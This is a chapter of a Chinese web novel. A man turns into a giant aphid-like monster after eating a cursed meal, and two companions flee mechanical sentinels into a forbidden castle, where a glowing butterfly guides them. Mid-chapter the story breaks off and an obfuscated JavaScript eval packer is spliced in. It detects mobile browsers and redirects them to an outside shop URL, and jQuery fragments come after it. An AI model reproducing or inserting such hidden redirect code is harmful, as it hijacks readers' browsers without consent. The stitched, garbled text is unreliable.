39.玫瑰古堡(六)

作品:《在无限废土当怪物之王

    一听有人出去了,王猛脸色巨变:“出去了?他这个时候出去找死啊!老山茶的话都忘了吗!”


    “到底怎么回事!”鹤爻眉头紧锁。


    舟行远深吸一口气,努力平复急促的呼吸,将事情原原本本交代了一遍:


    “今天实在太累了,我几乎一沾被子就要睡着,迷迷糊糊间,我听到有人在打开门栓……”


    “我以为是怪物,所以听到动静就爬起来了,谁知一看,竟然是吴白,他拉开门正要往外走!”


    “我怕他忘了宵禁的警告,赶紧喊他,喊了几声他都没反应,我只好起床去拉他……谁知道、谁知道他力气那么大,一把就将我推得踉跄倒地!”


    “然后……我借着门外走廊那点幽光,看清了他的样子……”


    舟行远语气带着前所未有的惊悸:“我差点没敢认!”


    “为什么?”王猛一头雾水。


    “因为那个人……已经不是我们认识的吴白了。”


    在所有人惊愕的眼神里,舟行远艰难的开口:“他变得好瘦好瘦,瘦得皮包骨头,你能想象吗,就像是一层皱巴巴的骨,勉强披在衣服架子上……”


    “还有他的眼睛,瞳孔发绿,只有饿了很久很久的人才会有那样的眼神……”


    想到那幅场景,舟行远忍不住瑟瑟发抖,于大娘在一旁连连点头,也是两股颤颤。


    “我作证!我也看到了!他虽然没有吃晚饭,可也不过饿一天而已,不至于那样啊……就像是,时间在吴白身上加速了几十倍一样……”


    “时间加速?”李奥震惊。


    “肯定是那顿晚饭搞的鬼!”王猛一拳砸在墙上。


    “现在怎么办?”舟行远将求助的目光看向鹤爻,“老吴现在出去,要是碰到守夜人,就遭了,可、可咱们要是出去找……”


    他停住,不敢再往下说。


    外头黑的像是打翻了墨,谁也不知道下一秒,这黑暗里会不会蹿出来什么吃人的怪物。


    “我去吧。”王猛拎起墙边的棍子。


    吴白给她妻子画的像还贴在胸口放着,那个一说到妻儿就红了眼眶的胆小男人,却是第一个主动站出来牺牲食物的人。


    他实在没办法,对这样的人坐视不理。


    “我猜他是去厨房找吃的了,这样,我快去快回!”


    “我跟你一块去!”李奥踏前一步。


    “李奥留下。”鹤爻斩钉截铁,同时眼风扫过一旁欲言的丁弃,“你看好这里。王猛哥,我们走。”


    厨房离宿舍不远,两人屏息疾行,几乎听不见各自的脚步声,黑暗浓稠得呛人,只有厨房窗户里透出一点飘摇的光晕。


    门果然开着。


    还没踏进去,就听见里面传来瓷器碎裂的脆响,紧接着是一阵黏腻的,咕噜咕噜的吞咽声。


    王猛和鹤爻对视一眼,伏低身子摸到门边,昏黄油灯光下,一个影子蜷在地上,背部高高隆起。


    那东西身体柔软,表面覆盖着蜡粉,从腹部生长出来的翅膜上生着黑斑,八足细长,尾末端坠着一个油蜡色的半圆形瘤体。


    整个头几乎埋进地上一滩金稠的液体里,口器像一支粗长的针管,正在疯狂吸食。


    地上散落着黑面包、硬饼,都完好无损,唯独几个陶罐摔得粉碎,里头的花蜜汁淌了一地。


    那东西匍匐其上,腹部以肉眼可见的速度鼓胀,撑得薄亮,几乎能看见内里蠕动的肠脏。


    “……这踏马是什么玩意?”王猛手沁出冷汗。


    “看着像蚜虫。”鹤爻眉头紧蹙。


    “……蚜虫?王猛灵光一现,“对,这玩意是蚜虫!我见过的!”


    “以前我老婆养花,花上有时候就长这种虫子!可……这也太大了!”


    王猛看着这个大半人高的怪物,冷颤打个不停。


    “花人,现在又来个虫人……这应该就是这个世界的怪物吧?”王猛恶寒的搓了搓手臂。


    “先别管他了,咱们还是先去找吴白要紧……”


    刚要离去,却被鹤爻抓住胳膊,示意他看怪物的前肢。


    只见怪物还没有完全异变的肢体,还留有人类手指的轮廓。


    指上套着一个有些褪色的铜圈。


    那是吴白的结婚戒指。


    “不不不……”


    “怎么可能?!”


    王猛喉咙发紧,他难以把吴白和这头怪物联系在一起!


    恰在此时,含糊的呓语传来,伴随着咕叽咕叽的吮吸声。


    “……花蜜……甜……好吃……”


    那声音虽然扭曲嘶哑,却透露着熟悉感,确实是吴白的声音。


    王猛的心在这一刻全身凉透,后退一步,背上撞在石柱上发出微弱的响声,几乎这一瞬,那东西突然抬头。


    灯光照亮了一张半人半虫的脸。


    吴白颧骨凸耸,眼眶深陷,绿色瞳孔缩成细缝,嘴角咧到耳根,针管般的口器滴着蜜液。


    他猛地扭过身,鼓胀的肚子拖在地上,四肢却异常迅疾地一弹,像是下一秒就会落到二人面前。


    “发什么呆!跑啊!”


    鹤爻低吼声让王猛彻底清醒,两人一前一后冲进黑暗。


    身后传来甲壳摩擦地面的刮擦声,混合着贪婪的喘息。


    风声在耳边尖啸。王猛回头,瞥见怪物已追至数步之外,口器向前探着,绿眼在夜里荧荧发亮。


    “吴白那小短腿平时不见,变成怪物了咋跑这么快!”王猛边跑边喘。


    前面是岔路。


    “不能回东庭,把他往西庭引!”鹤爻思路清晰。


    东庭大伙都在那,自然不能去,但西庭也是禁区啊!可还没等王猛把话说完,鹤爻的身影已融入前方夜色,快看不见了。


    “死就死吧!”


    他咬牙,追了上去!


    王猛感觉这辈子都没跑这么快过,肺仿佛要炸开,耳边的风声都变成了吴白——不,是那只怪物的贪婪喘息。


    就在他以为那针管般的口器下一秒就要刺穿自己后颈时,身后的刮擦声和喘息,却突兀地消失了。


    他踉跄着刹住脚步,和同样急停的鹤爻背靠背,惊疑不定地回头。


    浓墨般的黑暗里,只有他们自己粗重的呼吸。


    那只穷追不舍的怪物,不见了。


    “怎么回事……不追了?”王猛嗓子干得冒火。


    鹤爻没说话,她死死盯着前方的黑暗,身体一点点绷紧。


    “只有遇到让他更害怕的东西,他才会逃。”鹤爻的声音压得极低。


    王猛顺着她的目光看去,浑身的血凉了一半。


    黑暗里,先是一点幽绿的光点亮起,接着是第二点,第三点……就像凭空出现的鬼火。


    那是金属怪物的眼睛。


    它们的躯干宛如被拉长扭曲的中世纪铠甲,接缝处是黑暗的虚无,仿佛铠甲内空无一物,手臂末端握着一把闪烁着寒光的金属弧刃。


    “这……这他妈又是什么玩意儿?!守夜人吗?”王猛舌头都打了结,眼前的景象超出了他所有的认知。


    话音未落,离他们最近的一具机械兵,冒着绿光的眼睛犹如探照灯一样在黑夜里来回扫射,最后猛地锁定了他们所在的方向。


    它头部没有转动,但整个躯干以一种非人的平滑速度倏地拧了过来。


    手中的金属弧刃“嗡”一声轻响,弹射伸长,高频振动的边缘甚至切割开了空气,发出细微的嘶鸣。


    “这鬼东西冲我们来了!卧槽卧槽卧槽!!!跑!跑啊!!!”


    王猛魂飞魄散,鹤爻比他好不了多少,身上冷汗直流,两个人使出全身力气发足狂奔。


    前方古堡的轮廓已逐渐清晰,像一头沉默的巨兽。


    “小鹤,咱们往哪走!!!”


    鹤爻只感觉肺腑都要在此刻炸开,她的脑子浆糊一片。


    她不知道该往哪走,她只记得那把闪着寒光的金属弧刃,只要落下来,就能轻易切碎他们!


    他们全部


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115742|194206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都得死在这里!


    虫人……


    机械兵……


    守夜人……


    不对不对!一定是有什么地方出错了!如果这个副本有如此强大的怪物,为什么一开始要限制他们的能力?


    怪物的出现,说明平衡被打破了!


    可是他们并没有变强!


    为什么?


    问题到底处在哪?!


    “小鹤!你怎么不说话了!快说话啊!”王猛急得眼睛充血,身后机械运转的咔嗒声如同死神的脚步,越来越近,“那鬼东西上来了!咱们去哪?!”


    忽然,不远处亮起一道细微光线,就像是蝴蝶振翅时撒下的磷粉。


    等等,这是……


    洛蓝苍老而笃定的声音,蓦地在她记忆深处回响起来:


    ——那是茉莉的伴生蝶,因为它们翅膀上的鳞粉在月光下会闪烁微光,所以也叫引路蝶……


    ——传说,它会给迷途的旅者带来好运。


    “跟上那只蝴蝶!”


    电光火石间,鹤爻做下决定。


    “蝴蝶?什么蝴蝶?!”


    王猛被她拽得一个趔趄,惊惶的目光仓皇扫视,终于捕捉到那一点随时可能湮灭的微芒。


    只见那光芒拖着一条长长的尾巴,很快融入近在咫尺的古堡里。


    “又他妈是个禁地!!!”


    “造孽啊!!!”


    王猛双手插进头发里,仿佛要把头皮撕扯下来,无比抓狂的大喊。


    但求生的本能压过了一切警告,两人像个亡命之徒,一头扎进了黑洞洞的古堡入口。


    几乎下一瞬间,机械兵跟随他们的脚步鱼贯而入。


    无数个金属足尖叩击石板的冰冷声音,从四面八方聚拢,仿佛一张正在收拢的大网。


    “咔…嗒…”


    “咔…嗒…”


    古怪的机械运转声响在耳畔,一道道绿色光柱穿透黑暗,彼此交叉着,开始有条不紊地扫过每一个角落。


    那光柱穿透力极强,即使隔着柜门的缝隙,也能感到它的冰冷质感。


    王猛和鹤爻死死屏住呼吸,缩在柜子最深处,背部紧贴着冰冷的木板。


    心脏在胸腔里疯狂擂鼓,声音大得他们觉得下一秒就会被发现。


    终于,其中一道光线,像冷漠的审判者,透过柜门的缝隙,无情的照射在两人脸上。


    那光太冷,冷的简直要凝固血液。


    金属探针伸缩的“咝咝”声越来越近,几乎贴在柜门外。


    时间在那一刻被拉得无限长。


    王猛惊恐的瞪大双眼,灰尘在光柱中狂舞,自己则像其中濒死的飞蛾,每一秒都像是在刀尖上煎熬。


    “你们在这里干什么?!”


    一道厉喝,伴随着拐杖砸在地板的声音从门外传来。


    脸上强光骤然消逝,下一秒,满屋的绿色光线如潮水一样,整齐划一的退出去了。


    屋里重回黑暗。


    “你们这些没脑子的东西!竟然不好好巡逻跑到古堡,惊扰了索菲亚公主的睡眠,死几次都不够!”


    “出来!都给我滚出来!看我的铁棍怎么好好收拾你们!”


    声音越飘越远。


    王猛吐出一口憋了许久的气,贪婪地大口呼吸,后背的衣裳早已被冷汗浸透,紧贴在冰冷的木柜上。


    “吓、吓死老子了……真以为今天就要交代在这了……”


    劫后余生的虚脱感瞬间席卷全身。他颤抖着手推开半塌的柜门,那只透明蝴蝶,并未离去,此刻正静静栖息在柜子顶部的雕花上。


    它翅膀上那些微光鳞粉,在慢慢振翅中显露出一片极其柔和、近乎神圣的浅金色光泽。


    王猛双手合十,虔诚地拜了三拜,“蝴蝶大仙!救命大恩,没齿难忘!回头我一定……哎?”


    他话未说完,那只透明的蝴蝶轻盈飞起,绕着他和鹤爻盘旋了一小圈。


    而后悬停在半空中,似乎在指引他们继续往前走。